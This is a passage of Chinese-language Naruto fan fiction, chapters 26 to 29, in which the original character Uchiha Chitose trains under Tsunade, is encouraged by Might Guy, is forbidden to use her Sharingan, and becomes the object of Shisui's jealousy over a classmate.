少女用力抹了抹发烫的眼睛。
三天。
一定要做到。
与此同时,另一边。
两人走出一段路后,静音终究没忍住,轻轻拉了拉纲手的衣袖,语气里满是不解与心疼。
“纲手大人,您刚刚……为什么要那么说呢?”
她忍不住回头望了一眼远处孤零零的小身影,轻声继续道:“她基础确实不好,可整整一个下午,从完全不会,到能稳定吸附三秒、还能推动巨石,这份进步,已经远超很多同龄人了。”
纲手脚步未停,金色的发丝在晚风中微微扬起,脸上依旧是那副波澜不惊的淡漠神情,可声音里却多了几分旁人不懂的沉重。
“你不懂。”
她淡淡开口,语气里带着历经风霜后的清醒与严苛,
“这种一直泡在温室里、从来没有受过挫折的小鬼,不先把她彻底打碎,就永远无法真正成长,更不可能撑得起这种以命相搏的力量。”
静音心头一紧,依旧忍不住替千歲辩解:“可是您刚才那番话,那么直接地否定她……对于一直被保护得很好的千歲来说,是不是……太难以接受了?”
纲手终于停下脚步,望向渐渐暗下来的天际,琥珀色的瞳孔里掠过一丝极淡、极深的伤痛,快得让人抓不住。
“难以接受?”
她轻声重复了一遍,语气里带着一丝自嘲般的冷硬,“比起在战场上失去同伴,失去心爱之人,失去一切……这点委屈、这点难受,又算得了什么?”
静音猛地一怔,看着纲手眼底一闪而过的落寞,瞬间闭上了嘴,再也不忍多说一句。
她知道,纲手又想起了那些再也回不来的人,想起了那些撕心裂肺的过去。
“如果这三天她就坚持不下去,被几句重话打垮。”纲手收回目光,语气重新变得坚定而冷澈,“那说明,她也只能停在这里了。”
话音落下,她不再多言,重新迈步向前。
晚风卷起她的衣角,也卷起那些不愿提及的往事。
纲手陷入了漫长的沉默,周身的气息,忽然变得安静而哀伤。
只有她自己知道,那番刻薄的否定里,藏着的不是冷漠,而是一个遍体鳞伤的人,能给的最残酷、也最真诚的保护。
宇智波枭府邸。
宇智波族地的暮色沉落,枭的府邸里,矮桌上摆着简单却精致的晚餐,香气静静散开,可气氛却和往日截然不同。
往常这个时候,千歲早就捧着饭碗叽叽喳喳说个不停,一会儿抱怨忍校的训练无聊,一会儿念叨想吃草莓大福,小嘴从不停歇。可今晚,她只是安安静静地扒着饭,眼神发直,筷子机械地送着食物,连最爱吃的小菜都没动几口,整个人安静得像换了一个人。
宇智波枭握着筷子的手顿了顿,抬眼看向对面的小丫头,眉头微不可查地蹙起。
这小鬼今天是怎么了?又被止水附身了,还是被哪个闷葫芦小子附体了?
往日里吵得他头疼的活力,此刻消失得一干二净,反倒让他浑身不自在。
他放下筷子,语气平淡地开口:“干嘛一副失恋似的样子?”
千歲猛地回过神,像是被踩了尾巴的小猫,瞬间恢复了往日那副咋咋呼呼的模样,抬头就顶嘴:“谁失恋了?老爸你失恋了吗?”
宇智波枭面无表情,淡淡回了三个字:“是本人。”
千歲噎了一下,却没像平时那样继续斗嘴,只是蔫蔫地低下头,又陷入了走神。她的思绪,早就飘回了训练场的悬崖与巨石上,满脑子都是纲手那句冰冷的“没有天赋”,和那必须完成的三天之约。
怎么才能把查克拉聚得更稳?
她想得太入神,连父亲的目光都没察觉。
宇智波枭看着她魂不守舍的样子,心里越发奇怪。
平日里都是这丫头叽叽喳喳围着他搭话,吵得他想安静都难,今
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天这么安静,反而让他觉得空落落的,十分不适应。他想问些什么,最终还是只化作一声轻淡的沉默,没有多问。
草草吃完晚餐,千歲比往常任何一天都要乖巧,匆匆收拾好自己的碗筷,一溜烟跑向浴室。没过一会儿,她就顶着湿漉漉的头发冲回房间,关门之前还特意探出头,对着客厅里的枭大声喊:
“我今天要早睡!不准进来烦我!”
宇智波枭抬了抬眼,淡淡应了一声:“知道了。”
他确实照做了,收拾完餐桌,便坐在客厅安静地翻阅卷轴,没有去打扰她。
可谁也没有想到,少女进屋仅仅几分钟后,房间里便传来极轻的动静。她迅速换上平时的常服,将刃具包稳稳系在腰上。她悄无声息地推开后窗,一个利落的翻身,轻巧地跃出了府邸院墙。
夜色微凉,月光洒在她小小的身影上。
千歲没有丝毫犹豫,径直朝着训练场飞奔而去。
她要抓住这三天里所有能利用的时间,拼了命地练习查克拉控制。
哪怕熬夜,哪怕累到抬不起手,她也要证明——她不是没有天赋,她只是需要比别人更努力。
可是
在第135次用小拇指推动巨石失败后,千歲“啪嗒”一声瘫倒在草丛里。浑身上下每一寸肌肉都在发酸,胳膊抖得抬不起来,脚底的刺痛一阵阵往上涌,她累得连眨眼睛都觉得费劲。
现在几点了?村子里的灯早就熄了吧。
她只知道,自己从傍晚练到深夜,练到星星都出来值班了。
为什么……为什么就是做不到……
委屈和疲惫缠在一起,鼻子一酸,眼泪差点掉下来。
纲手的话又在耳边响起来——“你没有天赋”“再努力没有结果有什么用”。
就在她趴在草地上,快要把自己埋进难过里时——
“青春——啊——————!!!”
一声震得树叶都发抖的咆哮,突然从树林深处炸响!
千歲吓得一哆嗦,猛地坐起来,差点咬到舌头。
只见一道亮绿色的紧身衣身影,带着狂风般的气势,“唰”地腾空踢腿,落地时狠狠一砸拳头,姿势标准得像一幅热血漫画。
浓眉、西瓜头、炯炯有神的双眼、一身比太阳还耀眼的青春气场——正是迈特凯。
他正对着大树疯狂俯卧撑,一边做一边大吼:
“努力!汗水!青春!这就是超越天才的唯一道路——!!”
千歲看得目瞪口呆,连难过都忘了。
凯一转头,立刻注意到瘫在地上、一脸疲惫的千歲。他瞬间停止训练,绿色身影一闪,“咚”地蹲在她面前,浓眉一挑,声音洪亮得能叫醒整座森林:
“小姑娘,我看你在这里练了很久……是遇到什么过不去的难题了吗?”
千歲没想到这个奇怪的大叔会一直在这片森林里。
“看你的样子,肯定是挥洒青春的汗水,已经精疲力尽!”
“有什么困扰,尽管告诉我,木叶的苍蓝猛兽—迈特凯!”
27. 第二十七章 努力!我会超过天才!
“木叶的苍蓝野兽—迈特凯!”
都这个时间,千歲没想到一个陌生的大叔会这样关心自己,鼻子一酸,原本强撑的坚强瞬间塌了一角:
“我真的已经很努力了,可是……还是做不好。”
“我没有天赋…”
凯没有立刻打出热血的手势,也没有放声高喊。他安静地听着,看着少女眼底的失落与疲惫,浓眉轻轻蹙起,露出了真正体贴、共情的神情。
“努力了却看不到成果,这种感觉,我比谁都懂。”
他的声音放得很低,褪去了平日的喧闹,多了一份历经挫折后的沉稳与真诚,“某个小孩,是连爬树都做不好的吊车尾,被很多人说没有忍者天赋,甚至差点从忍者学校留级。”
千歲微微一怔,抬起眼睛看向他。
凯轻轻笑了笑,语气平静而坚定:
“那时候他也很难过,也怀疑过自己。可是他的父亲曾经告诉过他——天赋,决定了起跑的速度;可努力,决定了能走多远。”
他伸出手,轻轻指了指千歲面前的巨石:
“查克拉控制,靠的不是天生的才能,是专注、是坚持、是每一次失败后都愿意再试一次的心。”
千歲心里的委屈稍稍平复,却还是忍不住泛起自卑:
“可止水是天才,鼬也是天才,大家都这么说。他们随便一练就做得很好,而我练了无数次都不行,我这样的人,真的,也可以追上他们吗?”
说到最后,她的声音轻得几乎听不见。
凯看着她眼底深深的自我否定,不再是那个咋咋呼呼的热血青年,而是像一位真正温柔的前辈。他双手轻轻放在千歲的肩膀上,力道安稳而温暖。
“我经常在这片森林修行,你才练了这一晚,就匆忙否定自己。”
“一次不行就练十次,十次不行就一百次,一千次,一万次。”
没有大吼,没有夸张,只有一字一句、无比认真的承诺,
“天才的光芒很耀眼,但那光芒,是一瞬的。
而努力的人,会一点点、一步步,把路走得越来越宽。
他们是天才,但你可以成为比天才更可怕的人——靠努力站上顶端的人。”
他顿了顿,眼神温柔又有力量:
“你今晚已经练了一百多次失败,却还留在这里没有回家。这份不放弃,本身就是最厉害的天赋。”
千歲怔怔地看着他,眼眶再次发热,这一次却不是因为委屈,而是心底那快要熄灭的火苗,被重新轻轻点亮。
凯见她神色松动,才稍稍恢复了一点平日的热血:
“你太急着让石头动,反而忽略了查克拉本身的流动。你之前是不是一发力,就想把所有力气都灌进指尖?”
千歲愣了一下,乖乖点头:“嗯……我想快点推动它。”
“这就是问题所在。”凯解释,语气里全是耐心,“在体术当中,力气也好,精准控制也罢,查克拉不是靠‘猛冲’,是靠引导。你现在闭上眼睛,别去看那块石头,也别想成功失败,只去感受身体里查克拉流动的力量。”
“来,再试一次。不要想着推动石头,只想着——把你所有想变强的心情,都集中在指尖。”
千歲深深吸了一口气,点了点头。
她伸出小拇指,按照凯说的那样,摒除杂念,把所有的不甘、委屈、渴望,全都一点点凝聚到指尖。
千歲照着他的话去做,原本慌乱乱窜的查克拉,第一次慢慢变得听话。不再是粗暴地冲出来,也不是软绵绵地散开,而是像一条温顺的小溪,安安静静聚在小小的指尖。
“现在,睁开眼。”凯轻声说,“保持住这份感觉,轻轻碰向石头。不是用力推,是让查克拉托住它一点点。”
千歲睁开眼睛,屏住呼吸,将稳稳凝聚着查克拉的小拇指,轻轻抵在巨石上。
没有猛发力,没有咬牙憋劲,只有平静的专注。
下一秒——
那块让她失败了135次的巨石,轻轻、清晰、稳稳地晃动了一下。
比之前任何一次都要明显,都要稳。
千歲眼睛瞬间瞪得溜圆,小脸上写满不敢置信:“动、动了!我做到了!
凯看着她惊喜的样子,露出了爽朗的笑,依旧没有大喊大叫,只是竖起大拇指,语气满是欣慰:
“你看,不是你不行,是你终于学会和自己的查克拉好好相处了。”
凯笑着站起身,这才稍稍恢复了几分元气,握拳轻挥:
“青春,正是从一次次不放弃中绽放的!
……对了,为了巩固状态,要不要和我一起,绕森林慢跑二十圈?”
千歲脸上的感动瞬间凝固,小小声发出一句崩溃的呢喃:
“……咦?现在吗?”
二十圈森林长跑结束时,千歲已经彻底耗尽了最后一丝力气。
她摇摇晃晃地走到训练用的大树旁,后背一靠,双腿一软就顺着树干滑坐下来。眼皮重得像粘了铅片,刚才被凯点燃的热血还没完全散去,疲惫就先一步淹没了她。小脑袋一点一点的,呼吸很快变得均匀又轻柔,没过多久,就靠着粗壮的树干,蜷缩着小小的身子,
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沉沉睡了过去。
月光温柔地落在她沾着细汗的金发上,把小眉头还微微蹙着的模样,照得格外让人心疼。
迈特凯看着靠树熟睡的小丫头,忍不住放轻了动作,露出无奈又温柔的笑,正打算安静离开——
忽然,森林深处的阴影里,一道身影缓缓走出。沉静锐利的眼眸、周身带着宇智波独有的清冷气场,正是宇智波枭。
凯微微一怔,随即认出了来人,惊讶之余立刻收敛了热血的气息:“枭先生?没想到会在这里遇到您。”
枭的目光一落在靠树熟睡的千歲身上,原本冷硬的表情,瞬间柔和了几分,却依旧沉默。
凯这才恍然大悟,浓眉轻轻一挑:“原来……这位努力的小姑娘,是您的女儿。”
枭轻轻点头,声音低沉而客气:“今晚多谢你了,凯。多谢你指导她,安慰她。”
“这不算什么。”凯摆了摆手,语气真诚,“千歲,她只是缺少一点鼓励和正确的引导,她的坚持,远比很多天才更加耀眼。”
话说到这里,凯终于忍不住问出了心底的疑惑,声音放得更轻:
“枭先生,我能感觉到,您其实早就站在暗处看着她了,对吗?既然一直都在,为什么不出去见见她、安慰她?她今晚,真的很委屈。”
林间安静了几秒。
风轻轻吹过树叶,沙沙作响。
宇智波枭没有回答,只是沉默地望着女儿熟睡的小脸。
他不能出现,不能心软,不能让她知道,自己一直都在身后默默守护。
他要让她自己站起来,让她在没有庇护的地方,长出真正的铠甲。
见枭不愿多说,凯也不再追问,只是轻轻点了点头,表示理解。
枭不再多言,缓步走到千歲身前,微微弯腰,动作轻得几乎不发出声音,小心翼翼地将女儿背了起来。小小的身子软软地靠在他的背上,脑袋轻轻搁在他的肩头,睡得毫无防备。
他稳稳托住千歲的双腿,转身朝着宇智波族地的方向走去。
背影挺拔、安静、又藏着无人看见的温柔。
迈特凯站在原地,望着父女二人离去的身影,轻轻笑了笑,竖起了无声的大拇指。
月光下,森林重归宁静,只剩下一夜努力过后的温暖与安心。
宇智波府邸
宇智波枭看着千歲熟睡的脸庞,仿佛间和那张熟悉的脸又重合在了一起
“她真的跟你越来越像了…”
烛火灯一明一暗,看不见枭的表情。
“那天,到底发生了什么…奏”
28. 第二十八章 不准使用写轮眼!
第三天的太阳刚爬过木叶村的山脊,训练场的风就带着一丝紧绷的气息。
千歲早早站在崖壁下,呼吸还有点发抖,不是因为疲惫,而是因为压抑不住的紧张与忐忑。这三天里,她熬夜练习、摔倒无数次、被迈特凯狠狠鼓励、又在父亲沉默的守护里悄悄咬牙坚持……所有的汗水,全都压在今天这一次展示上。
她抬头望向缓缓走来的纲手,心脏怦怦直跳,几乎要撞碎胸膛。
纲手大人会不会还是觉得我不行?
会不会还是说我没有天赋?
万一我中途掉下来了怎么办……
不安像藤蔓一样缠上来。可一想到深夜里自己一次次重复吸附、一次次凝聚查克拉的模样,想到凯老师说的“努力不会背叛你”,她又深深吸了一口气,把慌乱一点点按下去。
纲手站定在她面前,神情依旧是那副淡淡的、看不出情绪的样子,语气平静无波:
“开始吧。”
没有多余的鼓励,也没有多余的催促。
千歲点点头,闭上眼调整呼吸。她按照凯教她的方式,慢慢引导查克拉从身体流出,顺着经脉平稳抵达脚底,不再像最初那样狂乱冲撞,而是温顺地裹住脚掌,稳稳吸附在崖壁上。
一秒。
五秒。
十秒。
她的身体微微晃动,查克拉几次险些散开,千歲吓得屏住呼吸,拼命集中精神,把所有的意念都压在“稳住”两个字上。她能感觉到纲手的目光落在自己身上,不严厉,却让人不敢松懈。
三十秒。
四十秒。
五十秒。
手臂开始发酸,小腿微微发抖,力气在一点点流失。她咬着牙,额角渗出细汗,脑海里反复回荡
着三天前那句冰冷的“没有天赋”。
我不能输。
我不能在这里放弃。
终于,在整整一分钟的时候,她轻轻一跃,稳稳落在地面。
落地的瞬间,她腿一软,差点踉跄摔倒,却还是强行站稳,小脸红扑扑的,呼吸急促,满眼紧张地望向纲手,等待判决。
纲手没说话,只是抬了抬下巴,示意她继续第二项。
千歲立刻走到巨石前,伸出那只练了千百次的小拇指。这一次,她不再急着推动石头,而是让查克拉细细密密裹住指尖,轻薄、稳定、精准。指尖轻轻一顶,查克拉无声托住巨石——
那块曾经让她失败不知道多少次的石头,缓缓被抬了起来。
不算高,不算稳,摇摇晃晃,像是随时会砸下来,却确确实实,被她一根小拇指,举了起来。
坚持了短短几秒后,千歲松开查克拉,巨石轻轻落地。
她喘着气,小脸上满是汗水,整个人又累又紧张,小心翼翼地望着纲手的反应。她甚至不敢奢求夸奖,只希望能换来一句“合格”。
纲手垂眸看着她,看着少女发抖的手指、强装镇定却藏不住忐忑的模样,脸上依旧没什么表情,
只是淡淡开口,语气听不出喜怒:
“……勉强,可以通过。”
一句不算夸奖的评价。
愣了两秒后,千歲小小的肩膀猛地放松下来,憋了三天的情绪一下子涌上来,不是难过,是终于被认可的释然,是拼尽全力没有白费的激动。
而在纲手心底,早已掀起了与表面完全不同的波澜。
这小鬼……居然真的做到了。
三天,从零走到这一步,远超我的预料。
倔强、不服输、摔不烂打不垮……和她母亲一模一样。
她看着眼前这个明明快哭出来,却还硬撑着站直的小丫头,眼底掠过一丝极浅、极柔和的笑意。
宇智波枭,你看啊。
你的女儿,比你想象中,要强得多。
我对她……很有信心。
三天的折磨与坚持,终于在这一刻,换来了最值得的开始。
千歲还沉浸在勉强合格的激动里,鼻尖酸酸的,刚想露出一个松气的笑,就被纲手接下来的一句话,轻轻敲醒了。
纲手抱着手臂,目光平静地落在她身上,语气没有半分波澜,却带着不容置疑的重量:
“别高兴太早,这修行,还只是开始而已。”
千歲猛地一怔,刚刚放松的肩膀又悄悄绷紧了。她抹了把额头上的汗,仰起脸认真看着纲手,心里既紧张又期待——终于,要开始学真正的怪力了吗?
可她没料到,真正的考验,从这一刻才正式降临。
纲手上前一步,目光沉稳地锁住她,没有多余的铺垫,一字一句清晰开口:
“我对你有一个要求。”
千歲心头一跳,下意识挺直背脊,
“什么?”
空气安静了一瞬。
风掠过训练场,卷起几片细碎的草叶。
纲手的眼神严肃而郑重,没有半分玩笑:
“从今天开始,不准使用写轮眼。”
“什么!?”
千歲像被针扎了一下,整个人猛地后退半步,不敢置信地瞪大了眼睛,声音都控制不住地拔高。
禁用写轮眼……对宇智波一族的孩子来说,这简直是无法想象的要求。
她脑子里一片混乱。
一直以来,无论是忍校的练习,还是简单的任务,她习惯了在关键时刻依赖那双眼睛——看清查克拉流动、预判动作、辅助控制、弥补自己的粗心大意。那是与生俱来的力量,是族人的骄傲,是她最安心的捷径。
现在,纲手却要她彻底放弃。
“不仅仅是训练,考试,还是说出任务。”
“只要是威胁不到你生命的情况下,不准使用写轮眼的力量。”
“为什么……”千歲的声音微微发哑,不解,“那是我的血继限界,是我天生就有的力量啊……”
纲手没有被她的激动动摇,反而上前一步,语气沉稳而锐利,直直戳中她心底最依赖的弱点:
“我知道,对你们宇智波一族来说,这是特别便利的血继限界。”
她顿了顿,目光深邃,“可它也不能成为你偷懒的捷径。”
这句话像一道轻雷,在千歲脑海里炸开。
她愣在原地,嘴唇轻轻颤动,却说不出反驳的话。
她忽然意识到,自己之前练不好查克拉、控制不稳力量,很大一部分原因,就是潜意识里觉得——反正有写轮眼可以补救,反正有眼睛帮我看清。
她从来没有真正逼自己,用最原始、最笨拙、最扎实的方式,去感受身体里的查克拉。
依赖,早已变成了惰性。
纲手看着她瞬间黯淡下去的眼神,没有心软,只是继续平静地说道:
“怪力,不靠眼睛看穿,不靠预判弥补,靠的是你自己对身体每一寸肌肉、每一缕查克拉的绝对掌控。
你一旦依赖写轮眼,就永远无法真正体会‘力量从何而来’,更无法把怪力练到极致。”
她伸出手,轻轻点了点千歲的心脏位置:
“我要你丢掉所有外挂,忘掉你是宇智波,忘掉你有特权。
只用你自己,去练,去感受,去变强。”
千歲站在原地,心脏重重一震。
她不想关掉写轮眼,那是她的一部分,是她安全感的来源。可与此同时,纲手的话又无比真实,像一面镜子,照出了她一直以来的偷懒与逃避。
“从今天起,我要你忘掉你是宇智波千歲。”
“在我眼里,你不是宇智波之人。”
她低下头,看着自己这三天练到发酸、发抖、却终于能控制住查克拉的手指。
这三天,她一次都没有用过写轮眼。
而正是这三天,她第一次真正靠自己,站稳了脚跟。
原来……没有眼睛,她也可以。
沉默在两人之间缓缓流淌,风轻轻吹动千歲的金发,也吹走了她最后一点固执。
她深深吸了一口气,再抬起头时,那双明亮的
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眼睛里,虽然依旧带着不安,却多了一份前所未有的坚定。
她小声,却无比清晰地回答:
“……我知道了,纲手大人。
从今天起,我不用写轮眼。”
纲手看着她,眼底终于掠过一丝几不可查的赞许。
很好。
这一步,她跨过来了。
从此刻,才算真正开始。
接下来的修行,没有任何花哨招式,也没有捷径可走。纲手让千歲先把所有杂念抛开,从最基础的体术架势重新打磨——站姿、重心、脚步、腰腹发力,每一个细节都被拆开到极致,错一分都要重新来过。
千歲以为怪力就是“用力砸下去”,可刚摆出自以为标准的拳势,就被纲手一脚轻轻点在膝盖后方,腿一软直接半跪在地。
“力量不是从手臂来,是从脚底蹬地、转腰、送肩,最后才传到拳头。”纲手的声音冷静又锐利,
“你连重心都站不稳,打出的力气再大,也是散的。”
千歲咬着牙爬起来,一遍又一遍调整姿势。汗水顺着下颌滴落,浸湿了地面,手臂酸得快要抬不起来,可只要一松懈,纲手的指尖就会精准敲在她错位的骨节上,不疼,却足够让她瞬间清醒。
她不敢再依赖写轮眼,只能死死盯着自己的手脚,用最笨拙的方式感受肌肉的拉伸、发力、收回。起初动作僵硬又笨拙,常常同一步要重复几十次,可慢慢的,那些姿势开始刻进身体里,变得自然、流畅、沉稳。
等基础架势彻底扎稳,纲手才终于开始触碰怪力的核心。
“看好了。”
纲手轻描淡写伸出一只手,没有结印,没有大吼,只是将查克拉均匀、致密地压缩在掌心。下一秒,她轻轻一按地面——
轰隆——!!
坚硬的泥土瞬间裂开蛛网般的纹路,碎石飞溅,一圈气浪以她为中心炸开。
没有狂暴的气势,却有着让人窒息的破坏力。
千歲看得目瞪口呆:“这、这就是怪力……”
“想学?”纲手收回手,语气平淡,“先学会把查克拉压到最细、最密、最稳定。
你之前控制查克拉是‘托住’,现在,我要你学会‘压缩’。”
千歲立刻模仿着伸出手,试图把查克拉聚在掌心。可查克拉要么一涌而出炸得尘土飞扬,要么软绵绵散掉,别说裂地,连小草都没能压弯。
一次、十次、一百次……
失败像家常便饭。
她的手掌因为反复压缩查克拉微微发麻,越急越乱,越乱越失败。好不容易凝聚出一点密度,一发力就瞬间失控,把自己震得连连后退。
纲手看着她垂头丧气的样子,没有呵斥,也没有立刻示范,只是淡淡丢下一句:
“怪力不是爆发,是掌控。你越想用力,就越得不到力量。”
这句话点醒了千歲。
她深吸一口气,重新站定,闭上双眼,不再去想“要砸裂地面”,只专心感受查克拉在掌心一点点收紧、收紧、再收紧,像把一团空气揉成一颗小小的铁球。
没有急躁,没有不甘,只有极致的专注。
缓缓睁开眼,她轻轻朝着地面一按。
没有巨响,没有夸张的烟尘。
只有脚下的泥土,轻轻陷下一小块圆痕。
虽然微弱,却是真真正正的——怪力雏形。
“我做到了!”千歲眼睛瞬间亮得发光,激动得差点跳起来。
纲手嘴角微微一扬,却依旧板着脸,语气淡淡:
“还差得远。继续练。”
千歲用力点头,干劲再次填满胸口。
不用写轮眼,不靠任何人庇护。
这一次,她要靠自己的拳头,打出属于自己的力量。
而纲手站在不远处,看着少女反复挥拳、凝聚、失败、再站起的背影,心底轻轻一叹。
韧性够强,心性够硬。
这孩子,将来一定会超出所有人的预料。
29. 第二十九章 占有欲
木叶商业街
街边洋果子店的橱窗十分透明,里面摆着圆滚滚、裹着雪白糯米皮的草莓大福,光是看着就让人鼻尖发酸。千歲扒着玻璃橱窗,口水都快忍不住滴下来。
她犹豫了半天,还是悄悄掏出自己的小钱包,
翻开盖子数了又数——里面的零钱少得可怜。
跟着纲手大人修炼这快一个月,又是请拉面又是各种开销,钱包早就空空荡荡。她瘪了瘪嘴,把钱包塞回怀里,小声对自己说:“算了算了,再忍忍吧,这个月马上就过去了……”
刚想转身离开,店里的贩卖小哥忽然笑着吆喝一声,像是精准看穿了她的小心思:
“今天是季节限定香草冰淇淋草莓大福哦,最后一个啦!不买可就真的没有咯~”
冰淇淋……草莓……限定……
最后一个!
千歲瞬间僵在原地,小脸皱成一团,心里疯狂抓狂——
为什么偏偏是今天!为什么偏偏是我没钱的时候!
就在她纠结得快要原地转圈时,一道略带诧异的声音从旁边传来。
“千歲?”
她抬头一看,是木村。
少年一脸疑惑地看着她抓狂的模样。
听清她纠结的缘由后,木村立刻扬起下巴,摆出一副小少爷的利落模样,转头直接对贩卖小哥吩咐:
“把最后那个草莓大福给她,账抹掉,算报废。”
千歲愣了愣,一脸茫然:“啊?”
直到这时她才猛然想起,木村之前提过,这家洋果子店就是他们家开的,之前还特意邀请过她,只是那天她刚好出门修炼不在家。
她看着眼前人高马大、看着脑袋直直的木村,心里忽然一暖——
没想到这家伙,居然还会特意把限定的草莓大福让给自己。
两人并肩走在午后的小路上。千歲捧着冰冰凉的草莓大福,小口小口啃得一脸满足,香甜的冰淇淋混着草莓的酸味,好吃得眼睛都眯了起来。
没一会儿,一圈白白的冰淇淋就沾在了她的嘴角,自己却完全没察觉。
木村瞥到一眼,先是一怔,随即忍不住“噗嗤”一声,哈哈大笑起来,笑得肩膀都在抖。
千歲茫然地抬起头,嘴里还叼着半口大福:“木村?你笑什么呀!”
木村拼命憋住笑,努力绷住脸:“没、没什么……就是觉得,你现在好像圣诞老爷爷。”
“圣诞老爷爷?”
千歲立刻凑到街边的橱窗边,对着玻璃上模糊的倒影一看——
自己嘴角沾着一圈白白的冰淇淋,圆鼓鼓的脸颊,真的像个长了白胡子的小老头。
她“呀”了一声,慌忙想擦,可平时大大咧咧惯了,根本没有随身带手帕的习惯,只能急得团团转。
木村看着她手忙脚乱的样子,从随身的袋子里掏出一块干干净净的手帕,递了过去:
“给你。谁让我们是难兄难弟呢。”
“谢谢你!”千歲开心地接过来,对着橱窗的影子认真擦着嘴,可总有边角的地方够不着。
“这里,还有一点。”木村提醒。
“哪里呀?”千歲歪着头蹭了蹭,还是没擦到。
“我帮你吧。”
木村伸手接过手帕,微微俯下身,慢慢朝她凑近。
少年的身影一点点靠近,就在他的手快要碰到千歲嘴角的那一刻——
“唰——”
一道青色的身影伴着极快的风声,瞬间出现在两人面前。
千歲眼前一晃,抬头就撞进了一双温柔带笑的眼眸里。
是止水。
止水刚落地,目光先轻轻落在两人凑近的距离上,眼里虽然笑着,可语气却裹着一层酸酸的醋意,慢悠悠开口:
“在干嘛呢?我们家千歲,这是偷偷交男朋友啦?”
千歲没有听懂止水话里的醋意,连连摆手解释:“才不是什么男朋友,木村只是看我嘴角沾了东西,正要帮我擦掉而已!”
木村之前在忍校早就见过止水,隐约知道他和千歲关系格外亲,立刻乖巧站好,没再多说话。
止水眼底笑意更深,故意往前微微一倾,整张脸轻轻凑近千歲,温热的呼吸扫过她的鼻尖,近得能清晰闻到她唇边淡淡的香草奶香。
“沾了什么呀?让我看看……”
他故作认真地端详了一秒,随即拖长语调,笑着揭晓:
“原来是香草冰淇淋呀。”
“我们千歲,什么时候偷偷爱吃冰淇淋了?”
这话不问还好,一问直接把千歲的话匣子打开,也彻底打翻了止水的醋坛子。
她一脸兴奋地说:
“才不是普通冰淇淋呢!是季节限定香草冰淇淋草莓大福!刚刚还是最后一个,幸好木村帮我弄到的!”
止水嘴角轻轻抽了一下,心里默默嘀咕:
现在的店,就爱搞什么限定、最后一个,专门骗小馋猫……
可脸上依旧挂着温柔无害的笑,拖长语调应了一声:
“这样啊——”
偏偏木村性子直,完全没嗅出空气里酸酸的醋味,还一脸真诚地火上浇油:
“那家店是我家开的,千歲要是喜欢,我以后每天上学,都给你带不一样的口味!”
“真的吗!?谢谢你木村!”
千歲整个人眼里只剩下甜甜的草莓大福,半点没察觉旁边的气氛已经不对劲了。
止水站在一旁,脸上的笑容还维持着,嘴角却微微僵住,眼底的醋意快要溢出来。
千歲还兴致勃勃地对木村说:
“那作为回礼,下次我给你带我爸爸做的松饼吧!他别的都不拿手,就松饼做得超好吃~”
木村一听,眼睛瞬间亮了起来,语气里满是惊喜:
“真的吗?你怎么知道我最爱吃松饼了!太好了!”
两人你一言我一语,聊得不亦乐乎,完全把旁边的止水晾在了原地。
止水站在一旁,脸上的笑容淡了几分,心里莫名空落落的。
松饼?
他在心里默默重复了一遍,微微皱起眉——宇智波枭还会做松饼?他怎么从来不知道,更从来没有吃过。
明明是最亲近的人,可她嘴里说着他不知道的小事,笑着和别人分享专属的小约定,这种感觉让他胸口闷闷的。
他今天也不太明白自己到底怎么了。
只要是和千歲有关的事,他总会不自觉地放在心上;只要是和她走得近的人,他都会下意识地多留意几眼。尽管不想承认,可心底那股清晰的情绪在告诉他——他一点都不希望,千歲和别的男孩子走得这么近。
是占有欲吗?
止水轻轻垂下眼,睫毛遮住了眼底的迷茫,悄悄在心里安慰自己:
这应该……只是友情里的占有欲吧。
毕竟他们从小一起长大,她是他最在意的人,会担心、会在意、会不想被忽略,都是很正常的事。
一定是这样的。
他看着笑得灿烂的千歲,心里乱糟糟的,甜与涩缠在一起,连他自己都理不清,这突如其来的心情,究竟是什么模样。
不行,这一来一回,又是草莓大福又是松饼,再放任下去可还了得。
止水心底那点小算盘打得噼啪响,下一秒就自然地抬起手,轻轻搭在千歲的肩膀上,刻意加重了语气,带着一丝宇智波专属的小骄傲:
“千歲,你之前不是一直好奇,写轮眼还有别的用法吗?今天我有空,
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可以教你哦。”
一边说,他一边在心里暗暗得意:
这可是我们宇智波一族才有的羁绊,是刻在血液里的联系,旁人羡慕都羡慕不来。
怕木村还没“退场”,止水还特意转过头,笑眯眯地看向他,语气温和却暗藏胜负欲:
“木村君,你也一起来跟我们练习吗?”
木村哪有写轮眼,他这话摆明了就是故意的。
可他性子直,压根听不出弦外之音,只是一脸真诚地挠挠头,满眼羡慕地摆摆手:
“哇,那也太厉害了吧!可是我没有写轮眼,就不去凑热闹啦,你们好好练习!”
止水在心底悄悄比了个胜利的手势:搞定!
正当他准备带着千歲转身离开时,千歲却忽然抬起头,一脸认真地开口:
“止水,我不能跟你一起去练习写轮眼。”
止水:“?”
他脸上的笑容瞬间僵住,整个人愣在原地,眼底写满了不敢置信。
什么意思?
我这是……被拒绝了?
被讨厌了吗?
止水心里瞬间乱成一团,差点没崩住脸上的表情。从前那个他一招手就乐呵乐呵跟上来的千歲,如今居然有了自己的想法,还会主动拒绝他了。
这一刻,止水的心口莫名一瘪,委屈又茫然,差点原地碎掉。
“我跟纲手大人约定好了,再也不用写轮眼。”
千歲仰起小脸,说得认真又坚定。
止水一下子懵了,满脸困惑:不用写轮眼?
一旁的木村越听越迷糊,又是纲手大人、又是约定、又是禁用写轮眼,完全插不上话。他看了看天色,干脆挠挠头道:“我听不懂你们说的啦,我得回家帮忙了,先走咯!”
“啊,要走啦!”千歲连忙挥挥手,想起手里的手帕,“你的手帕我下次洗干净再还给你!”
“好!”木村笑着应了两声,转身跑远了。
止水看着那块被木村用过、又握在千歲手里的手帕,嘴角悄悄抽了抽,硬生生把快冒出来的醋意压了下去:“千歲,纲手大人那边是怎么回事?”
千歲便一边走,一边叽叽喳喳把这阵子的修行、纲手的要求、怪力修炼的事,一五一十全告诉了止水。从悬崖练习查克拉,到深夜遇到凯老师,再到纲手要求她禁用写轮眼、专心练体术与怪力,说得仔仔细细。
两人边走边聊,不知不觉,已经走到了宇智波枭的府邸门口。
刚靠近院门,一股甜丝丝、热乎乎的松饼香气就飘了过来,直直往鼻子里钻。
好巧不巧——宇智波枭今天下午做的点心,偏偏就是松饼。
千歲眼睛“唰”地一下亮了,瞬间把所有事都抛到脑后,开心得直蹦跶:“是松饼!老爸做松饼了!我要回家吃!”
说着就要往门里冲。
止水站在原地,鼻尖全是松饼的香甜,心里却咯噔一下。
完了……
这松饼,该不会明天就要被送到木村手里吧?
她亲口说要当回礼送给木村的……
我长这么大,都没吃过千歲爸爸做的松饼,结果居然要让那小子先吃到?!
